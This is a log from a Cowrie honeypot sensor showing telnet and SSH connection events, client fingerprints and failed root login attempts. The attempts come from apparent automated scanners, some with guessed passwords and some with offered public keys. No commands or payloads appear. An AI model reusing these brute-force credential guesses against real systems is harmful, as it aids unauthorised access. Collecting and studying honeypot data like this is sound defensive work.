{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38798,"dst_ip":"10.17.0.5","dst_port":23,"session":"1992fdcbf039","protocol":"telnet","message":"New connection: 152.42.224.71:38798 (10.17.0.5:23) [session: 1992fdcbf039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:28.606045Z"}
{"eventid":"cowrie.session.closed","duration":60.36495542526245,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:29.729912Z","src_ip":"152.42.224.71","session":"a05da0cff027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53118,"dst_ip":"10.17.0.5","dst_port":23,"session":"402be10c8fde","protocol":"telnet","message":"New connection: 152.42.224.71:53118 (10.17.0.5:23) [session: 402be10c8fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:37.210465Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53126,"dst_ip":"10.17.0.5","dst_port":23,"session":"de1d06566bcb","protocol":"telnet","message":"New connection: 152.42.224.71:53126 (10.17.0.5:23) [session: de1d06566bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:38.329360Z"}
{"eventid":"cowrie.session.closed","duration":46.65229916572571,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:39.110396Z","src_ip":"152.42.224.71","session":"6cc734c0c32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":35046,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c2527c880a","protocol":"ssh","message":"New connection: 165.154.227.158:35046 (10.17.0.5:22) [session: 72c2527c880a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:42.576086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:42.581446Z","src_ip":"165.154.227.158","session":"72c2527c880a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:42.799674Z","src_ip":"165.154.227.158","session":"72c2527c880a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Js.123456","message":"login attempt [root/Js.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:43.701113Z","src_ip":"165.154.227.158","session":"72c2527c880a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79151964187622,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:44.265206Z","src_ip":"152.42.224.71","session":"35a6203c0a5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:44.922081Z","src_ip":"165.154.227.158","session":"72c2527c880a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14dd7fce04b","protocol":"telnet","message":"New connection: 152.42.224.71:53460 (10.17.0.5:23) [session: b14dd7fce04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:46.312562Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"d875266d8539","protocol":"telnet","message":"New connection: 152.42.224.71:53476 (10.17.0.5:23) [session: d875266d8539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:46.845309Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cbff3f8f2aa","protocol":"telnet","message":"New connection: 152.42.224.71:53486 (10.17.0.5:23) [session: 5cbff3f8f2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:53.758362Z"}
{"eventid":"cowrie.session.closed","duration":37.13165855407715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:53.967324Z","src_ip":"152.42.224.71","session":"2fd1c8bb89d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.26782250404358,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:55.363531Z","src_ip":"152.42.224.71","session":"91ee8c80b7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87517189979553,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:01.481069Z","src_ip":"152.42.224.71","session":"1992fdcbf039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.68530344963074,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:03.631336Z","src_ip":"152.42.224.71","session":"77cb6d62dc0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.55847907066345,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:03.755680Z","src_ip":"152.42.224.71","session":"41af79dd6fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":45202,"dst_ip":"10.17.0.5","dst_port":22,"session":"be893cbccc42","protocol":"ssh","message":"New connection: 117.121.214.50:45202 (10.17.0.5:22) [session: be893cbccc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:07.347415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:07.352527Z","src_ip":"117.121.214.50","session":"be893cbccc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:07.608553Z","src_ip":"117.121.214.50","session":"be893cbccc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":60338,"dst_ip":"10.17.0.5","dst_port":22,"session":"16ca34565f85","protocol":"ssh","message":"New connection: 43.135.139.74:60338 (10.17.0.5:22) [session: 16ca34565f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:08.374732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:08.379453Z","src_ip":"43.135.139.74","session":"16ca34565f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:08.448082Z","src_ip":"43.135.139.74","session":"16ca34565f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:08.652096Z","src_ip":"117.121.214.50","session":"be893cbccc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:08.757609Z","src_ip":"43.135.139.74","session":"16ca34565f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.890374422073364,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:09.342428Z","src_ip":"152.42.224.71","session":"681a52840ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:09.829484Z","src_ip":"43.135.139.74","session":"16ca34565f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:09.906765Z","src_ip":"117.121.214.50","session":"be893cbccc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":32384,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68c12b91834","protocol":"ssh","message":"New connection: 89.37.117.103:32384 (10.17.0.5:22) [session: c68c12b91834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:10.517674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:10.522538Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:10.658424Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:5a:12:31:6c:b4:e9:fc:e9:b2:19:8e:86:91:5d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UddjRzLA9aEwTyuYKONOd8VRSfVIfZi8vdfbwT8b0lxLpAqP4TC+FzIxhCH6r34WnSo2vet2DYa8zVppFyQDeTQDgj3WEXE4NJyFrRXFUPYfIb66CfgY0ij9vbHxwm09weTp4cUlAUXVWWC/cz6iZlIWNHnpFn4gygQmEX/0/dll+hndTlaVqkzVDRAwPnYfyK8y8up5az2723hsrDQ6zj5fzm+ukYpqKuZhuDIxK43oYLi+KJKdaOSAZyLvm2+WRa0BmNKLVfU7Z0UtlRYiKeNSIGf5AN+ynDtmStO11c48EM/lqQQ/AMjkOTzAxnriwrwOF28e5cdPqTXdBHY7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:5a:12:31:6c:b4:e9:fc:e9:b2:19:8e:86:91:5d:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.284015Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:5a:12:31:6c:b4:e9:fc:e9:b2:19:8e:86:91:5d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UddjRzLA9aEwTyuYKONOd8VRSfVIfZi8vdfbwT8b0lxLpAqP4TC+FzIxhCH6r34WnSo2vet2DYa8zVppFyQDeTQDgj3WEXE4NJyFrRXFUPYfIb66CfgY0ij9vbHxwm09weTp4cUlAUXVWWC/cz6iZlIWNHnpFn4gygQmEX/0/dll+hndTlaVqkzVDRAwPnYfyK8y8up5az2723hsrDQ6zj5fzm+ukYpqKuZhuDIxK43oYLi+KJKdaOSAZyLvm2+WRa0BmNKLVfU7Z0UtlRYiKeNSIGf5AN+ynDtmStO11c48EM/lqQQ/AMjkOTzAxnriwrwOF28e5cdPqTXdBHY7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.287950Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:07:ab:2a:c2:bb:3c:13:33:4d:91:f9:b6:06:e7:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeJP0BrhVpjMcpB9YO5Xy06Vug4L7KRDJV+mJfsDKDz+MgW4BfMBHwecDt+BHO5Ac6OuebjrRKLZ9wCjRbJ2cm0b4Zod1hGqVLs+gdJCDyziz279ale/gntlnJBQMUEgGvYrnLvIGA+PVIlqjaSfXZocd+8sqRavGhueYAneN6LKgt4qqLAsyCC9zl9zk0BggML+01Vz5IFjrjLBuZ0FweQXKUjxqe8/d0z6Hy3QmqglFtlr89u8rcyo388K4NETfqXSx5KXqAOCL/S1jSrPt1a3Uci73BpBuu/YkawwEsGlZ71pJ5i3iZ4XltzUfUJowHCGN3sXWIQPt1oo9hzSuL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:07:ab:2a:c2:bb:3c:13:33:4d:91:f9:b6:06:e7:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.417565Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:07:ab:2a:c2:bb:3c:13:33:4d:91:f9:b6:06:e7:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeJP0BrhVpjMcpB9YO5Xy06Vug4L7KRDJV+mJfsDKDz+MgW4BfMBHwecDt+BHO5Ac6OuebjrRKLZ9wCjRbJ2cm0b4Zod1hGqVLs+gdJCDyziz279ale/gntlnJBQMUEgGvYrnLvIGA+PVIlqjaSfXZocd+8sqRavGhueYAneN6LKgt4qqLAsyCC9zl9zk0BggML+01Vz5IFjrjLBuZ0FweQXKUjxqe8/d0z6Hy3QmqglFtlr89u8rcyo388K4NETfqXSx5KXqAOCL/S1jSrPt1a3Uci73BpBuu/YkawwEsGlZ71pJ5i3iZ4XltzUfUJowHCGN3sXWIQPt1oo9hzSuL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.421782Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:1e:66:53:b9:47:dd:f5:90:b0:71:0f:eb:93:e6:c7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFWhUV17dNRcb1qk5B1sTEVHkZi+KwWLSq/83T+mXf0E","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7d:1e:66:53:b9:47:dd:f5:90:b0:71:0f:eb:93:e6:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.551930Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:1e:66:53:b9:47:dd:f5:90:b0:71:0f:eb:93:e6:c7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFWhUV17dNRcb1qk5B1sTEVHkZi+KwWLSq/83T+mXf0E","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.555553Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:97:91:06:ba:43:34:f3:d7:23:32:a1:bf:96:09:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRWx2tiE6PN+OgvBUdV3knyssbpRnLlXDnZbXlNTfs629xa4ZKwxkA7cbD0N3TKzNKSxpCYiFWjua5aHIAhsevEY5WpjiIyzrXsFfuiIOZIdVkgqIDIWEjgW2+YdWnQ6pHq9tOyfFQ7tLhiU/aPAGrybNV3YEXq1zUBuZUrbfTp/1hR2cOmE8i0xSU69WR5mhya2Dr8qD+t8nBdCymnmT3aM8OTXkBAwetYfVE04xq5ITsKtDIpMQSSkK9Z4xs5VT3uSiuKKqOXlkYtIJ7vs9nxYuowGCJ/P5sMuExGcPVldKe+PaRGm0hc58/uQWnLHuXRggt/gDsp2dyh0dWLc0H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:97:91:06:ba:43:34:f3:d7:23:32:a1:bf:96:09:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.685798Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:97:91:06:ba:43:34:f3:d7:23:32:a1:bf:96:09:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRWx2tiE6PN+OgvBUdV3knyssbpRnLlXDnZbXlNTfs629xa4ZKwxkA7cbD0N3TKzNKSxpCYiFWjua5aHIAhsevEY5WpjiIyzrXsFfuiIOZIdVkgqIDIWEjgW2+YdWnQ6pHq9tOyfFQ7tLhiU/aPAGrybNV3YEXq1zUBuZUrbfTp/1hR2cOmE8i0xSU69WR5mhya2Dr8qD+t8nBdCymnmT3aM8OTXkBAwetYfVE04xq5ITsKtDIpMQSSkK9Z4xs5VT3uSiuKKqOXlkYtIJ7vs9nxYuowGCJ/P5sMuExGcPVldKe+PaRGm0hc58/uQWnLHuXRggt/gDsp2dyh0dWLc0H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.689993Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:24:3c:85:29:12:d3:fb:e5:76:0a:cb:b5:f0:1c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC16Z3tr5monfWcFVcJtg9KaaR95d3GhYBEYeJ4+7ZrgUOqjVMEF4BU1WlwiJHwAL51UU/e0NX6beycpnRl0tvpwA5kffuH99dyF5uqXmhXST8FZEK6JZ5CroIo8EuYS3aCIrtTIx8yEScbUuMQhLj4F7qdz7eqXLk5MjYkqjbxu6bqtTXZKi/MYcOLZino3YUZrcS3Z22ilJlmu5aq2mk9iMJArEFUu0JzSSjKQXbDYqAd630R/0Qt+5SX4DtbM4g7zJHdpjmae5svwnoRqD6PolEkUpamlVsi5ZN56niedxQGObPHjAEMv8EtBCj3IuqQPDmH2FGwLRpIHb6FWE8ljKVNJ0dNATzZvXxVLwOs0jLVRDA1Z2hNT44YcOT5QLe8KJhOWZqqNL8JxY3hBBKmDru+gfp9irfmvuSQpfKx/IV2/by6u9ztSnn/1t7d3n76swHlVD+kKSW1FHgPfcez35uUFkz6GUnZxEKIl7+m0udUtVrIV6WgHJKdHl31HPs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:24:3c:85:29:12:d3:fb:e5:76:0a:cb:b5:f0:1c:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.825700Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
